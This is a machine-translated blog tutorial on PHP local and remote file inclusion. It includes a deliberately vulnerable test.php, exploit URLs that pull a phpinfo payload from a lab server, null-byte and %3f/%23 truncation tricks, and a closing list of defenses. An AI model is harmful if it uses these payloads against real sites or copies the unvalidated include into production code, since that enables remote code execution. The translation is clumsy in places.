当前位置:网站首页>File contains vulnerabilities (II)
File contains vulnerabilities (II)
2022-07-02 05:45:00 【A τθ】
One 、 Contains remote files
1、 Principle analysis
When the remote file is opened , It can include remote files to execute locally . When allow_url_fopen=On、allow_url_include=ON Two conditions at the same time
by On Allow remote inclusion of files .
2、 Practice
2.1 Virtual machine building test.php
<?php
include $_GET['file'];
?>


2.2 python Set up resume server locally
<?php
phpinfo();
?>
C:\Users\Administrator

2.3 The remote file contains
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt

Two 、 The file contains a truncation attack
The file contains a truncation attack , stay php Version less than 5.3.4 Allow to use %00 truncation , In the use of include And other files contain functions , You can truncate the file name ,
Truncation will be affected by gpc influence , If gpc by On when ,%00 Will be converted into \0 Truncation will fail .
<?php
include $GET['file'].'.php';
?>
Pass in file File name concatenation .php In use include The introduction of the file .file Controllable parameters will cause loopholes .
1、 File contains %00 truncation
Upload files with malicious code to the website directory , Include import and then 00 truncation .
The current test version is php 5.2.17,gpc=off

http://192.168.127.132/test.php?file=1.jpg%00

2、 Remote include truncation
2.1 Principle analysis
Characters suitable for remote truncation are :
| Symbol | URL code |
|---|---|
| # | %23 |
| ? | %3f |
| 00 | %00 |
All the above characters can be truncated :
allow_url_fopen =On
allow_url_include=On
2.2 Environment building
<?php
include $_GET['file'];
?>


2.3 python Set up resume server locally
<?php
phpinfo();
?>
C:\Users\Administrator

2.4 The remote file contains
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%00

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%3f

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%23

3、 ... and 、 Defense plan
1. Strictly judge whether the included parameters are externally controllable , Because the key to successful exploitation of file containing vulnerabilities lies in whether the contained files can be controlled externally ;
2. Path restrictions : Restrict contained files to only one file , Be sure to prohibit directory jump characters , Such as :"../";
3. Include file validation : Verify that the included file is a member of the whitelist ;
4. Try not to use dynamic inclusion , It can be fixed on the page to be included , Such as :include('head.php').
5. Set up allow_url_include by Off
边栏推荐
- Disable access to external entities in XML parsing
- XSS basic content learning (continuous update)
- Gee series: Unit 4 data import and export in Google Earth engine
- Usage record of vector
- Fabric. JS right click menu
- 【pyinstaller】_ get_ sysconfigdata_ name() missing 1 required positional argument: ‘check_ exists‘
- 来啦~ 使用 EasyExcel 导出时进行数据转换系列新篇章!
- Fabric. JS upload local image to canvas background
- Centos8 installation mysql8.0.22 tutorial
- kmp思想及模板代码
猜你喜欢
![[technical notes-08]](/img/52/0aff21b01ba7adbfcdb597d1aa85f9.png)
[technical notes-08]

在线音乐播放器app

数理统计与机器学习

《CGNF: CONDITIONAL GRAPH NEURAL FIELDS》阅读笔记

Practice C language advanced address book design
![[personal test] copy and paste code between VirtualBox virtual machine and local](/img/ce/eaf0bd9eff6551d450964da72e0b63.jpg)
[personal test] copy and paste code between VirtualBox virtual machine and local

“简单”的无限魔方

Principle and implementation of parallax effect

VSCode paste image插件保存图片路径设置

Visual Studio导入
随机推荐
Zzuli:1069 learn from classmate Z
如何写出好代码 — 防御式编程指南
h5跳小程序
Gee series: unit 6 building various remote sensing indexes in Google Earth engine
Conglin environmental protection rushes to the scientific and Technological Innovation Board: it plans to raise 2billion yuan, with an annual profit of more than 200million yuan
操作符详解
Yyds dry inventory what is test driven development
Visual Studio导入
2022-2-14 learning xiangniuke project - section 23, section 5, development login and exit functions
1036 Boys vs Girls
Importation de studio visuel
Usage record of vector
Software testing learning - day 4
Huawei Hongmeng OS, is it OK?
"Original, excellent and vulgar" in operation and maintenance work
Minimum value ruler method for the length of continuous subsequences whose sum is not less than s
Gee series: unit 8 time series analysis in Google Earth engine [time series]
Small and medium-sized projects to achieve certification and authorization of hand filter
[Chongqing Guangdong education] selected reading reference materials of British and American literature of Nanyang Normal University
Zzuli:1060 numbers in reverse order